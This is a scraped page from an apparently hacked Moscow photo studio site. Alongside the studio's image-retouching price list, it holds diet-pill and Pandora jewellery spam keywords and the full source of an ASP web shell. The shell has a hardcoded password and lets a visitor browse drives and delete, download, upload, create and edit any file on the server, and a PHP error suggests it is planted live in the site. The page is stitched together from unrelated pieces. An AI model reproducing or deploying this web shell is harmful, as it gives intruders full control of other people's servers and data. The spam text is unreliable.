meizitang
slimming
diets
meizitang botanical slimming
<%@ LANGUAGE="VBSCRIPT" %> <% IntPass = "123123" Response.Buffer = true Response.Clear Dim Name,Password,Login If Not Session("Open") = "True" then%> Small System



Bad Request
click Back button if you were not redirected automatically after 1 minute .....  
<% Session("Open") = "True" Response.End else if Session("Enter") = "1" then else Login = "True" Password = Request.Form("Passw") If not Password = IntPass then Login= "False" If Login= "False" then Session.Abandon Response.Write "Wrong Canculation !!! Please Try Again !!!" Response.End else Session("Enter") = "1" end if end if End If sAction=Request.QueryString("action") if sAction="download_file" then download() end if sub Download() dim oStream dim szFileName szFileName=Request.QueryString("strPath") & Request.QueryString("strFile") set oStream=Server.CreateObject("ADODB.Stream") oStream.Type=1 oStream.Open on error resume next oStream.LoadFromFile(szFileName) if Err.Number=0 then Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName) Response.AddHeader "Content-Length", oStream.Size Response.ContentType="bad/type" Response.BinaryWrite oStream.Read end if oStream.Close set oStream=nothing Destroy() end sub %> <% action=request.querystring("action") Select Case action Case "delete_file" deleteFile() Case "download_file" download() Case "edit_file" edit_file() Case "create_folder" create_folder() Case "create_file" create_file() Case "upload_file" upload_file() Case "change_disk" change_disk() 'Case else End select if (action<>"edit_file") and (action<>"create_folder") and (action<>"create_file") and (action<>"upload_file") and (action<>"change_disk") then Main_display() End if %> <% '------------------------------------------------------------------------------ Private Sub Main_display() xPath=request.querystring("strPath") if xPath="" then xPath=Server.MapPath("/")&"\" Response.Write("") Response.Write("") strDir = Request("strPath") if strDir = "" Then strDir = Server.MapPath("/") strParse = strDir if Right(strParse, 1) <> "\" Then strParse = strParse & "\" lngPos = InStr(1, strParse, "\") strOut = "₪ " & Left(strParse, lngPos) & "
" x = 2 Do While lngPos <> 0 oldPos = lngPos lngPos = InStr(oldPos + 1, strParse, "\") if lngPos = 0 Then Exit Do For y = 1 To x strIndent = strIndent & " " Next strOut = strOut & strIndent & " ₪ " & Mid(strParse, oldPos + 1, lngPos - (oldPos + 1)) & "
" x = x + 2 if lngPos = Len(strParse) Then Exit Do Loop Response.Write("") Response.Write("
") Response.Write("ChAnGe DiR ::: ") Response.Write("CrEat nEw DiR ::: ") Response.Write("Born nEw File ::: ") Response.Write("UpLoad File ::: ") Response.Write("w@ck iT d0wn") Response.Write("
") Response.Write(strOut) strIndent = strIndent & " " Set objFSObject = CreateObject("Scripting.FileSystemObject") Set objFolder = objFSObject.GetFolder(strDir) Set colFolders = objFolder.SubFolders For Each intFol in colFolders strFName = intFol.name Response.Write(strIndent & "  ?" & strFName &"
" & vbcrlf) Next Response.Write("		") Set colFiles = objFolder.Files Response.Write("") For Each intF1 in colFiles strFName = intF1.name Response.write "" Response.write "" Response.write "" Next Response.Write("
♪ " & strFName &"◙ " & "Delete" & "◘ " & "Download" & "
") End Sub '------------------------------------------------------------------------------ Private Sub download() dim oStream dim szFileName szFileName=Request.QueryString("strPath") & Request.QueryString("strFile") set oStream=Server.CreateObject("ADODB.Stream") oStream.Type=1 oStream.Open on error resume next oStream.LoadFromFile(szFileName) if Err.Number=0 then Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName) Response.AddHeader "Content-Length", oStream.Size Response.ContentType="bad/type" Response.BinaryWrite oStream.Read end if oStream.Close set oStream=nothing Destroy() End sub '------------------------------------------------------------------------------ Private Sub deletefile() Set objFSObject = CreateObject("Scripting.FileSystemObject") objFSObject.DeleteFile(request.querystring("strPath") & request.querystring("strFile")) Response.redirect "old.asp?strPath=" & request.querystring("strPath") End sub '------------------------------------------------------------------------------ Private Sub upload_file() Response.Write("") Response.Write("
Upload File
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then dim PosB, PosBBound, PosEBound, PosEHead, PosBFld, PosEFld,strPath dim Boundary, BBoundary, PartBHeader, PartAHeader, PartContent, PartContent2, Binary dim fso, fle, rst, DataString, FileName dim I, Length, ContType, PartName, LastPart, BCrlf, PartContentLength const adLongVarBinary = 205 const adLongVarchar = 201 If Request.ServerVariables("REQUEST_METHOD") = "POST" Then ContType = Request.ServerVariables("HTTP_Content_Type") If LCase(Left(ContType, 19)) = "multipart/form-data" Then PosB = InStr(LCase(ContType), "boundary=") If PosB > 0 Then Boundary = Mid(ContType, PosB + 9) PosB = InStr(LCase(ContType), "boundary=") If PosB > 0 then PosB = InStr(Boundary, ",") If PosB > 0 Then Boundary = Left(Boundary, PosB - 1) end if Length = CLng(Request.ServerVariables("HTTP_Content_Length")) End If If Length > 0 And Boundary <> "" Then Boundary = "--" & Boundary Binary = Request.BinaryRead(Length) For I=1 to len(Boundary) BBoundary = BBoundary & ChrB(Asc(Mid(Boundary,I,1))) Next BCrlf = ChrB(Asc(vbCr)) & ChrB(Asc(vbLf)) PosBBound = InStrB(Binary, BBoundary) PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary, 0) Do While (PosBBound > 0 And PosEBound > 0) PosEHead = InStrB(PosBBound + LenB(BBoundary), Binary, BCrlf & BCrlf) PartBHeader = MidB(Binary, PosBBound + LenB(BBoundary) + 2, PosEHead - PosBBound - LenB(BBoundary) - 2) PartAHeader = "" For I=1 to lenb(PartBHeader) PartAHeader = PartAHeader & Chr(AscB(MidB(PartBHeader,I,1))) Next If Right(PartAHeader,1) <> ";" Then PartAHeader = PartAHeader & ";" PartContent = MidB(Binary, PosEHead + 4, PosEBound - (PosEHead + 4) - 2) PosBFld = Instr(lcase(PartAHeader),"name=") If PosBFld > 0 Then PosEFld = Instr(PosBFld,lcase(PartAHeader),";") If PosEFld > 0 Then PartName = Mid(PartAHeader,PosBFld+5,PosEFld-PosBFld-5) end if Do Until Left(PartName,1) <> """" PartName = Mid(PartName,2) Loop Do Until Right(PartName,1) <> """" PartName = Left(PartName,Len(PartName)-1) Loop end if PosBFld = Instr(lcase(PartAHeader),"filename=""") If PosBFld > 0 Then PosEFld = Instr(PosBFld + 10,lcase(PartAHeader),"""") If PosEFld > 0 Then FileName = Mid(PartAHeader,PosBFld+10,PosEFld-PosBFld-10) end if Do Until Left(FileName,1) <> """" FileName = Mid(FileName,2) Loop Do Until Right(FileName,1) <> """" FileName = Left(FileName,Len(FileName)-1) Loop Else FileName = "" end if if vartype(PartContent) = 8 then Set rst = CreateObject("ADODB.Recordset") PartContentLength = LenB(PartContent) if PartContentLength > 0 then rst.Fields.Append "data", adLongVarBinary, PartContentLength rst.Open rst.AddNew rst("data").AppendChunk PartContent & ChrB(0) rst.Update PartContent2 = rst("data").GetChunk(PartContentLength) rst.close set rst = nothing else PartContent2 = ChrB(0) End If else PartContent2 = PartContent end if PartContentLength = LenB(PartContent2) if PartContentLength > 0 then Set rst = CreateObject("ADODB.Recordset") rst.Fields.Append "data", adLongVarChar, PartContentLength rst.Open rst.AddNew rst("data").AppendChunk PartContent2 rst.Update DataString = rst("data") rst.close set rst = nothing Else dataString = "" End If If FileName <> "" Then FileName = Mid(Filename,InstrRev(FileName,"\")+1) set fso = Server.CreateObject("Scripting.Filesystemobject") strPath=request.querystring("strPath") if strPath <> "" then If right(strPath,1)<>"\" then strPath= strPath & "\" set fle = fso.CreateTextFile(strPath & FileName) else set fle = fso.CreateTextFile(server.MapPath(FileName)) end if fle.write DataString fle.close set fle = nothing set fso = nothing else End If LastPart = MidB(Binary, PosEBound + LenB(BBoundary), 2) If LastPart = ChrB(Asc("-")) & ChrB(Asc("-")) Then PosBBound = 0 PosEBound = 0 else PosBBound = PosEBound PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary) End If loop end if end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") End if End sub '------------------------------------------------------------------------------ Private Sub create_folder() Response.Write("") Response.Write("
CrEat nEw DiR
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then strPath=request.querystring("strPath") Set objFSObject = CreateObject("Scripting.FileSystemObject") if strPath <> "" then If right(strPath,1)<>"/" then strPath= strPath & "/" objFSObject.CreateFolder(strPath & request.form("newSubF")) else objFSObject.CreateFolder(strParse & request.form("newSubF")) end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") end if End sub '------------------------------------------------------------------------------ Private Sub create_file() Response.Write("") Response.Write("
Born nEw FiLe
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then strPath=request.querystring("strPath") Set objFSObject = CreateObject("Scripting.FileSystemObject") if strPath <> "" then If right(strPath,1)<>"/" then strPath= strPath & "/" objFSObject.CreateTextFile(strPath & request.form("newFile")) else objFSObject.CreateTextFile(strParse & request.form("newFile")) end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") End if End sub '------------------------------------------------------------------------------ Private Sub edit_file() Set fso = Server.CreateObject("Scripting.FileSystemObject") File=request.querystring("strFile") Path=request.querystring("strPath") str_edit_File=Path & File response.write("" & str_edit_File & "
") action_sub=request.querystring("action_sub") Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE) If action_sub="save" then Set ts = fso.CreateTextFile (str_edit_File) ts.Write Request.Form("FileContent") Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE) Response.Write "Cool Man !!! You've saved this file successfully !!!
" End if Response.Write("
") Response.Write("
") response.write("
") End sub '------------------------------------------------------------------------------ Private Sub change_disk() Response.Write("") Response.Write("
ChAnGe DiR
") Response.write("
") Server.ScriptTimeout = 6000 Set fsDrive = CreateObject("Scripting.FileSystemObject") Set drvHack = fsDrive.Drives For Each drvType In drvHack strDrives = strDrives & "" x = x + 1 Next Response.write("
") Response.Write("
") End sub '------------------------------------------------------------------------------ Private Sub check_login() Response.Write("") Response.Write("
Đăng nhập
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") End sub '------------------------------------------------------------------------------ %>
Warning: Cannot modify header information - headers already sent by (output started at d:\hst\artfotocente-ru_537b841b\http\webgear\Core\old.asp:107) in d:\hst\artfotocente-ru_537b841b\http\index.php on line 48
АртФотоЦентр / Обработка изображений
АртФотоЦентр - Люди. Мастерство. Искусство.
АртФотоЦентр: Москва, метро Чистые Пруды, Покровский бульвар, дом 1. Часы работы: Будни 10.00—21.00, (суббота и воскресенье выходной день).
Тел.: +7 (495) 916-22-82, (495) 916-18-97
   
Главная страница | Написать письмо
Цитата
Учитесь находить новое задолго до того, как оно таковым станет.

Главная страница | Обработка изображений
Обработка изображений
PC-станция для цифрофой обработки. 
 
ОБРАБОТКА ИЗОБРАЖЕНИЙ

Вид работы

Цена

Обработка файла

10 руб.

Чистка изображения

30 руб.

Простая ретушь

50 руб.

Ретушь изображения

100 руб.

Сложная ретушь

200 руб.

Реставрация

300 руб.

Раскрашивание

300 руб.

Монтаж изображения (10 мин)

100 руб.

Дизайн (10 мин)

100 руб.

Работа с клиентом (10 мин)

100 руб.

Удаление эфф. Красных глаз (цена за 1пару)

10 руб.
 
 
ПОРТФОЛИО ВЫПОЛНЕНЫХ РАБОТ

 
 

 


 
 

(495) 916-22-82
(495) 916-18-97

АртФотоЦентр: Покровский бульвар, дом 1.

© 2012 «АртФотоЦентр»
Перепечатка текстовых материалов допускается только с обязательной
ссылкой на источник — http://www.artfotocenter.ru

Аренда фотостуди Фотостудия в аренду Фотостудия
http://ostudios.ru/  - Фотостудия .QuattroFashion

Оцифровка, Видеосъёмка, Слайд-шоу, Разработка фильма, Видеомонтаж,
http://www.media-cinema.ru/  Видеопроизводство MEDIA-CINEMA.

Все представленные фотографии — собственность авторов. Разработка сайта StudioDP.
   


pandorapandora braceletspandora charmspandora jewelrypandora beadspandora necklacepandorapandora braceletspandora charmspandora jewelrypandora beadspandora necklace